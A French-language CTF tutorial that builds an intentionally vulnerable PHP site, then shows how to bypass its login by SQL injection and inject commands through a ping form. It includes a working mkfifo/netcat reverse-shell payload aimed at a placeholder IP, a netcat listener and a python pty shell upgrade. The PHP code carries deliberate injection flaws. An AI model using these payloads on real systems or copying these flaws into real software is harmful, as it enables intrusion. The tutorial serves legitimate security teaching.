Reverse shell : exercice pratique

Reverse shell : exercice pratique

C'est en effet un cas que l'on rencontrera très souvent dans les CTF où le but n'est pas seulement de pirater le site (ou tout autre service) mis à disposition mais bien de prendre le contrôle total (donc d'accéder au compte root) du serveur sur lequel tourne le site. Dans ce tuto, nous n'irons pas jusqu'à « rooter » (devenir root) le serveur, qui sera en fait votre propre machine (l'exemple que je vais vous proposer est un simple site web qui tournera en local) mais nous nous concentrerons plus sur le « comment puis je passer d'une interface web à un shell dans un terminal ? » car c'est souvent un problème redondant auquel sont confrontés les nouveaux venus (et en général, les challenges individuels ne nécessitent pas d'aller jusqu'à cette étape). Bref, ça peut paraitre flou au début d'où l'utilité d'en faire un article. Après encore une fois, nous n'irons pas jusqu'à rooter : ce qui nous intéresse avant tout c'est d'obtenir un shell et de pouvoir exécuter les commandes que l'on veut.

Je vous présente donc notre superbe site qui nous servira d'exemple (volontairement vulnérable, je le rappelle ! Et veuillez m'excusez de la mocheté du code mais je voulais rester au plus simple). Pour le faire tourner, il vous faut donc un serveur web (Apache ou Nginx par exemple), PHP, MySQL (ces programmes sont disponibles sur tous les OS donc que vous soyez sous Window, Linux ou Mac, logiquement ça ne devrait poser absolument aucun problème) et un navigateur (ce que vous avez puisque vous êtes en train de lire ce tuto ! :D ).

Voici donc l'unique fichier.

<?php
session_start();

$host = 'localhost';
$user = '';
$password = '';
$database = '';

if ($db = mysqli_connect($host, $user, $password, $database))
{
    if(empty($_SESSION['user_id']))
    {
        if(!empty($_POST))
        {
            $res = mysqli_query($db, "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'");

            if(mysqli_num_rows($res) == 1)
            {
                $row = mysqli_fetch_array($res);
                $_SESSION['user_id'] = $row['id'];
                header('Location: index.php');
            }
            else
            {
                echo '<div><p> Mauvais login/password !</p></div>';
            }
        }

        echo '<form class="" action="" method="post">
            <div>
                <label>Login : </label>
                <input type="text" name="username" value="">
            </div>
            <div>
                <label>Mot de passe : </label>
                <input type="text" name="password" value="">
            </div>
            <div>
                <input type="submit" name="" value="Connexion">
            </div>
        </form>';
    }
    else
    {

        if(!empty($_POST['ip_address']))
        {
            echo '<h2>Résultat du ping</h2>';

            echo '<pre>' . shell_exec('ping -c 1 ' . $_POST['ip_address']) . '</pre>';
        }

        echo '<form class="" action="" method="post">
            <label for="">Ping</label>
            <input type="text" name="ip_address" value="">
            <input type="submit" value="Envoyer" />
        </form>';
    }
}
else
{
    echo 'Erreur de connexion';
}

mysqli_close($db);
?>

Et voici le code SQL nécessaire (libre à vous de changer les noms mais il faudra penser évidemment à adapter dans le code).

CREATE DATABASE foo DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_general_ci;

CREATE TABLE users (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) NOT NULL,
    password VARCHAR(100) NOT NULL,
    PRIMARY KEY (id)
);

INSERT INTO users (username, password) VALUES ('admin', 'monsupermotdepasse');

Première étape : bypass du formulaire de connexion

On se rend donc sur notre site (perso, je l'ai mis dans un dossier nommé « tuto » à la racine de mon serveur web. Encore une fois, libre à vous de le mettre où vous voulez mais il faudra adapter les liens ;) ) : http://localhost/tuto/

Oh le joli formulaire que voici ! Si vous connaissez un peu les différents types de vulnérabilités web, un en particulier devrait vous venir en tête face à ce genre de page : les injections SQL (enfin, ça aurait pu être aussi du NoSQL ou du XPath mais en général le cas le plus courant est le SQL. Ceci dit, quelques tests permettent généralement de deviner ce qui se trouve derrière).

On a donc un formulaire de connexion à une interface d'administration. En général, ce type de formulaire part du principe que si l'on obtient un résultat en se basant sur un login (nom d'utilisateur, adresse email etc) ET un mot de passe, c'est que l'on a entré les bonnes informations. Mais si une injection SQL est possible, il nous suffirait alors de faire en sorte que la requête renvoie un résultat dans absolument tous les cas, y compris celui où l'on entre un mauvais login et un mauvais mot de passe (car la requête va se baser sur toutes les conditions, et si nous pouvons ajouter une condition qui sera TOUJOURS vérifiée en plus de celles actuelles, on obtiendra alors TOUJOURS un résultat, même avec un login et/ou mot de passe erroné).

On va donc tenter ceci :

Pour rappel, le « ' » sert à fermer la chaîne de caractères initialement ouverte par le développeur. La suite étant considérée désormais comme des instructions SQL, notre « OR 1 = 1 » sera interprété par le SGBD comme « ou bien si 1 est égal à 1 », et à ce que je sache, c'est toujours le cas. Le « # » final est, sous MySQL, le caractère servant comme indicateur d'un commentaire. Ce qui est après est alors considéré comme purement informatif et ne sera donc pas interprété par le SGBD : la vérification du mot de passe tombe donc à l'eau. :)

Voyons si cela marche... ^^

Bingo ! Nous avons accès à la superbe interface d'administration ! Nous ne connaissons pas le login/mot de passe mais à vrai dire, on s'en fout puisque ce n'est pas vraiment cela qui nous intéresse ici.

Seconde étape : exécuter des commandes

En général, dans les challenges c'est là que ça se termine mais ici, ce n'est pas fini ! Nous, ce que l'on veut, c'est pouvoir accéder au serveur, s'y promener, exécuter des commandes etc. C'est ce que nous allons essayer de faire maintenant.

Nous avons donc un joli formulaire nous permettant d'exécuter la commande ping, nous devons juste entrer une adresse IP.

Testons avec l'adresse 127.0.0.1 !

Ca fonctionne bien. Le seul petit hic, c'est que notre développeur (à savoir, moi :P) n'a pas pris la peine de vérifier qu'on entre bien une adresse IP et pas n'importe quoi. En quoi est-ce un problème ? Eh bien il faut imaginer comment c'est construit derrière. La commande exécutée est la suivante.

ping -c 1 adresse_que_l_utilisateur_a_entre

Mais savez-vous aussi que, sous Linux, vous pouvez exécuter plusieurs commandes à la suite en les séparant par des ; ? Donc, en suivant ce raisonnement et vu que l'on peut entrer n'importe quoi, qu'est ce qui nous empecherait de faire ceci ?

ping -c 1 n_importe_quelle_adresse; la_commande_que_je_veux_executer

Eh bien la réponse, c'est... rien du tout ! On peut tout à fait le faire et nous allons en avoir la preuve en visuel puisqu'on affiche le résultat de la commande (ou DES commandes ;) ). On va donc essayer avec la commande « id » qui indique l'identifiant utilisateur du compte qui a lancé la commande. Donc si ça fonctionne, on devrait avoir le retour de notre ping ET le résultat de la commande « id ».

Encore bingo ! On peut faire exécuter n'importe quelle commande. Remarquez d'ailleurs que l'utilisateur qui exécute les commandes est « www-data », autrement dit, notre serveur web. On a donc SES droits et on ne pourra pas encore, par exemple, exécuter une commande qui demanderait les droits de root. Ca en général, le fait de trouver un moyen de devenir root, c'est la dernière partie des CTF mais nous n'irons pas jusque là dans ce tuto.

Et c'est pas fini : place au reverse shell !

On pourrait se contenter de notre formulaire web pour exécuter ce que l'on veut mais on se sent plus à l'aise sous un terminal. De plus, certaines commandes « attendront » que l'utilisateur entrent des données dans le flux d'entrée (stdin) et il serait plus simple pour gérer cela d'avoir un terminal à disposition plutôt que notre interface web (bien que j'insiste que cela reste possible via une interface web, c'est plus une question de confort qu'autre chose).

Bon, que faut-il pour établir une connexion entre 2 machines distantes ? Il faut déjà que la machine sur laquelle on va se connecter ait un port en écoute. On peut faire exécuter des commandes au serveur et il n'est pas nécessaire d'avoir les droits root pour mettre un port en écoute donc ça c'est faisable. Seulement voilà, un port en écoute sur la machine distante, ce n'est pas suffisant pour établir une connexion car nous allons devoir passer par le pare-feu (on va supposer ici que le routeur autant coté serveur que client sert de pare-feu) et le pare-feu, par défaut, il va refuser tout ce qui tente d'entrer.

Il faut toujours bien avoir en tête que lorsqu'une personne A va tenter de se connnecter à une personne B, elle va toujours atteindre le routeur (qui pour rappel sert également de pare-feu) en premier lieu et pas directement la machine de la personne B. C'est le routeur qui sera chargé, si on le configure, de rediriger le paquet, paquet reçu donc de l'extérieur sur un de ses ports, vers une machine du réseau local et sur un port précis de cette machine. Donc notre problème au final, c'est que ce routeur ne laissera rien rentrer sauf si on lui indique explicitement. Sortir, ça souvent il ne dira rien mais entrer, là par contre il ne sera pas d'accord (sauf si, comme déjà dit auparavant, on lui en donne l'ordre). En bref, même si nous parvenons à mettre un port en écoute (rappel, port en écoute sur une machine équivaut TOUJOURS à un programme qui tourne derrière, il n'y a pas de port « ouvert » sans « rien » derrière : le port est automatiquement ouvert par le programme qui en a besoin lorsqu'il se lance et il est automatiquement fermé lorsque le programme est fermé), ça risque fort de coincer au niveau du pare-feu qui ne nous laissera pas passer car rien n'a été configuré sur le routeur, et l'accès à ce dernier est protégé.

Qu'allons nous faire alors ? Nous voulions mettre en écoute un port du serveur sur lequel se trouve le site puis tenter d'y accéder mais comme dit, le pare-feu serait un problème. Eh bien en fait la solution est astucieuse : et si on procédait de manière... inversée ? Si ce n'était pas nous qui essayions d'établir la connexion vers le serveur mais le serveur qui essayait de venir se connecter à nous ? Parce que dans ce cas, pour le serveur, il s'agirait alors d'une connexion sortante, ce qui ne devrait donc pas poser problème, et pour nous, il s'agirait d'une connexion entrante et comme dit plus haut, notre pare-feu ferait certes la gueule, sauf que c'est NOTRE réseau, NOTRE routeur (qui se trouve, à mon avis, à quelques mètres de vous), NOTRE pare-feu, NOTRE projet (Hein ? Quoi ? Comment ça je m'égare ?) et que par conséquent, y accéder, que ça soit physiquement ou via son interface web, posera beaucoup moins de soucis (bon évidemment, si vous faites ça depuis votre école ou votre boulot, je ne suis pas sûr qu'on accepte de vous fournir les identifiants :P ). Alors aussi, le concept un peu « WTF » à comprendre avec cette méthode, c'est que c'est le site qui va venir se connecter à nous, certes, mais c'est bel et bien nous qui allons envoyer les différentes commandes et le site (ou plutôt la machine sur laquelle est le site) qui va exécuter les commandes et nous renvoyer le résultat. Vous me suivez toujours ? :D

Bref, vous l'aurez compris, ce principe d'ordonner au site de venir se connecter à nous, de lui envoyer des commandes et qu'il nous renvoie le résultat, on appelle ça un reverse shell.

Alors certains se demanderont pourquoi je fais et j'explique tout cela alors qu'ici, le site et l'attaquant sont sur le même réseau local (voir la même machine même) et qu'il n'est donc, par conséquent, pas obligatoire de s'occuper de la partie configuration du pare-feu/routeur ? En fait, je souhaite montrer un exemple concret de ce vous pourriez rencontrer lors de « vrais CTF » où le serveur à attaquer ne se trouvera pas du tout sur le même réseau que vous, et là, il sera absolument nécessaire de faire tout ceci sous peine de quoi la communication ne pourra pas s'établir.

Mais avant toute chose, il va nous falloir régler ce problème de pare-feu sinon, comme dit ci-dessus, nous ne recevrons jamais le moindre paquet. Alors, je précise que ce que je vais montrer est la configuration de MON routeur de MON FAI et que donc l'interface ne sera très certainement pas la même chez vous si vous êtes chez un FAI différent. N'hésitez pas à utiliser Google pour savoir comment vous connecter à votre box. Chez moi, par exemple, il suffit de se rendre sur la première adresse IP privée disponible de la plage, donc par exemple, chez moi, c'est la plage 192.168.1.0/24 donc l'adresse de mon routeur sera http://192.168.1.1 . Ensuite, il faudra entrer les identifiants, souvent indiqués derrière le routeur ou parfois dans une lettre qu'on vous a envoyé lors de votre inscription chez votre FAI (après comme dit plus haut, les FAI n'ont pas tous les mêmes méthodes, d'où le fait que je vous conseille d'utiliser Google pour savoir comment faire ;) ).

Une fois connecté à l'interface d'administration de votre routeur, fouillez un peu dans les différents onglets pour trouver quelque chose du genre « mappage de port » ou « redirection de port » (encore une fois, si vous ne trouvez pas, il y a de très fortes chances pour que Google vous donne la réponse rapidement donc n'hésitez pas !).

Vous devriez finalement tomber sur un formulaire de ce genre.

Chez moi, on me propose de définir une plage de ports (utile si vous n'avez pas envie de configurer chaque port, un à un, dans un certain intervalle) mais comme je ne souhaite utiliser qu'un seul port, je peux mettre le même numéro pour « Du » à « Au ». Ce port est celui de votre routeur (parce que oui, pour rappel, votre routeur comporte aussi 65535 ports). C'est ce port que quelqu'un provenant de l'extérieur atteindra (c'est le port du routeur). Le paramètre « Hôte interne » désigne l'adresse IP privée de la machine vers laquelle on veut rediriger le paquet (parce qu'il peut y avoir des dizaines de machines connectées à un routeur, mais le paquet est pour uniquement l'une d'entre elles et il faut donc savoir précisément laquelle), et enfin le « Port LAN » désigne quant à lui le port de la machine du réseau local vers lequel il faudra rediriger le paquet (parce que la machine, aussi, a 65535 ports). Une fois tout cela indiqué, confirmez les changements.

Voilà, désormais, si quelqu'un tente de se connecter sur mon réseau (via l'adresse publique puisque c'est elle qui identifie votre réseau par rapport au reste du monde) et sur le port 56423, le paquet sera redirigé vers ma machine, ayant l'adresse IP privée 192.168.1.10, porte numéro 8563. Si j'ai choisis des ports différents, c'est bien pour montrer qu'il n'est pas nécessaire que le numéro du port du routeur et que le numéro du port de la machine du réseau local soit les mêmes. Par contre, il faut que votre routeur sache que si on vient « frapper » à SA porte numéro 56423, il doit rediriger le paquet vers la porte numéro 8563 de la machine du réseau local ayant l'adresse IP (privée donc) 192.168.1.10. C'est ce qu'on a configuré dans le paragraphe précédent. ;)

Voilà, maintenant nous pouvons recevoir des connexions de l'extérieur. Cependant, si vous essayez de vous connecter au port 56423 de mon réseau, la connexion sera quand même refusée. Pourquoi ? Tout simplement parce qu'aucun programme n'écoute actuellement sur ce port, il n'est donc pas « ouvert » (encore une fois, ce n'est pas vous qui vous occupez de l'ouverture/fermeture des ports ;) ). Le paquet est donc accepté par le pare-feu, redirigé vers ma machine mais... se heurte à une porte fermée. Il va donc falloir « l'ouvrir » en lançant un programme qui va écouter sur ce port. Alors on pourrait techniquement écrire notre propre programme en utilisant les sockets (ce qui permet d'établir la connexion entre 2 machines) mais je pense que l'article est déjà assez « lourd » à comprendre. On va donc utiliser un outil bien connu : netcat.

Selon la configuration que nous avons faite au niveau du routeur, c'est donc le port 8563 qui doit être mis en écoute (mais encore une fois, libre à vous de choisir un autre numéro, ça, ça pas d'importance du moment que vous ayez établi les bonnes configurations pour que le paquet arrive à bon port), ce que nous allons faire grâce à netcat.

que20@hacktion:~$ nc -lvp 8563
listening on [any] 8563 ...

Maintenant et seulement maintenant, quelqu'un provenant de l'extérieur pourra se connecter (et connecter ne veut pas dire qu'il aura un shell et qu'il pourra faire ce qu'il veut hein, juste qu'il y a un tunnel de communication entre sa machine et la vôtre qui pourra s'établir. Après c'est à vous à décider de ce que vous faites passer par ce tunnel et de ce que vous en faites ;) ).

Tout est enfin en place pour le bon fonctionnement de notre reverse shell ! Il n'y a plus qu'à le « créér ». Là encore on pourrait le faire soi-même mais je ne préfère pas surcharger. On va donc se référer à cette page qui présente plusieurs méthodes pour créér un reverse shell et il y en aura probablement toujours une qui fonctionnera (bref vous risquez de la consulter souvent, cette page ! :D ).

Pour cet article, je vais utiliser la méthode suivante.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.2.3.4 5678 >/tmp/f

Il nous reste une information à connaître : notre adresse IP publique (il faudra bien sûr remplacer le 1.2.3.4 par votre adresse IP publique ainsi que le port que vous avez choisi pour votre routeur). En effet, nous allons demander au site de se connecter à nous, mais dans ce cas, le site doit connaître notre adresse (sinon il ne pourra pas nous contacter). Je précise qu'il s'agit bien de l'adresse IP publique (bon, l'adresse IP privée fonctionnerait dans ce cas-ci car le site et l'attaquant sont sur le même réseau mais dans le cas où ils se trouveraient sur des réseaux différents, il sera forcément nécessaire de passer par l'adresse IP publique). Bref, un site tel que http://www.mon-ip.com/ vous la donnera (mais pas une commande telle que ifconfig/ipconfig car celle-ci vous donnerait votre adresse IP privée, et ici celle que l'on veut, c'est la publique, c'est à dire celle qui est vue de l'extérieur et non de l'intérieur du réseau ;) ).

Voilà ! On a enfin toutes les informations nécessaires : un moyen de faire exécuter des commandes au site, un reverse shell pointant vers un point d'entrée (en bref, l'adresse IP publique de notre réseau ainsi qu'un port) qu'on aura au préalablement autorisé et qui sera redirigé vers un port de notre machine actuellement en écoute. En théorie, si tout se passe correctement, nous devrions être gratifié d'une jolie confirmation de connexion et d'un shell !

C'est le moment de vérité ! On revient donc dans notre super panel permettant de faire notre super ping et on balance le payload suivant à notre formulaire (1.2.3.4 est évidemment à remplacer par VOTRE adresse IP publique).

127.0.0.1; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.2.3.4 56423 >/tmp/f

Et dans notre terminal où notre netcat est lancé, nous voyons avec joie les lignes suivantes.

que20@hacktion:~$ nc -lvp 8563
listening on [any] 8563 ...
connect to [192.168.1.10] from dsldevice.lan [1.2.3.4] 54008
/bin/sh: 0: can't access tty; job control turned off
$

Mission accomplished ! Enfin, pas tout à fait, nous n'avons pas encore un « vrai » terminal. En effet, si vous essayez, par exemple, la commande « su », vous obtiendrez le message suivant.

su: must be run from a terminal

Là encore, nous allons ruser et utiliser une petite astuce bien connue en Python : le module pty. Ce module va nous permettre d'obtenir un pseudo-terminal capable de lire le flux d'entrée et de sortie. Pour cela, il vous suffira d'entrer la commande suivante dans le shell que vous avez obtenu.

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@hacktion:~$

Remarquez que l'utilisateur sous lequel nous sommes connectés est « www-data », autrement dit, notre serveur web. C'est logique puisque c'est lui qui a exécuté nos commandes. Les actions que l'on effectuera seront donc faites avec ses droits. On ne pourra donc pas encore faire quelque chose qui demanderait les droits root. On a juste un accès en tant que serveur web (mais on peut cependant se ballader ailleurs qu'à la racine du serveur web ;) ). L'accès aux autres comptes (et surtout au final au compte root) est généralement la dernière étape.

Un dernier petit bonus : votre pseudo-terminal a encore du mal à gérer certaines choses, exemple, si vous appuyer sur la flèche « haut » pour remonter dans l'historique, techniquement ça fonctionnera mais visuellement, vous, vous verrez le caractère « ^[[A ». De même, si jamais vous avez le malheur de vouloir stopper une commande avec le raccourci « Ctrl+C », c'est tout votre tunnel que vous allez stopper et non juste le programme. Cet article présente deux façons d'obtenir un terminal capable de gérer cela : la première en utilisant socat au lieu de netcat, la seconde, un peu plus « WTF » mais elle fonctionne, en « upgradant » le pseudo-terminal obtenu avec le module pty de Python.

Conclusion

Voilà, nous arrivons enfin au bout de cet article qui, je l'espère, aura éclairci certaines choses. Je sais que les premières fois, cela reste flou comme principe mais vous verrez que les reverse shells, vous les utiliserez très souvent et qu'à force, ça finira par rentrer. Et en cas de besoin, n'hésitez pas à refaire un tour sur THE page. ;)

Facebook button Twitter button Google button

Laissez un commentaire

Votre adresse email ne sera pas publiée. Les champs marqués d'une * sont obligatoires.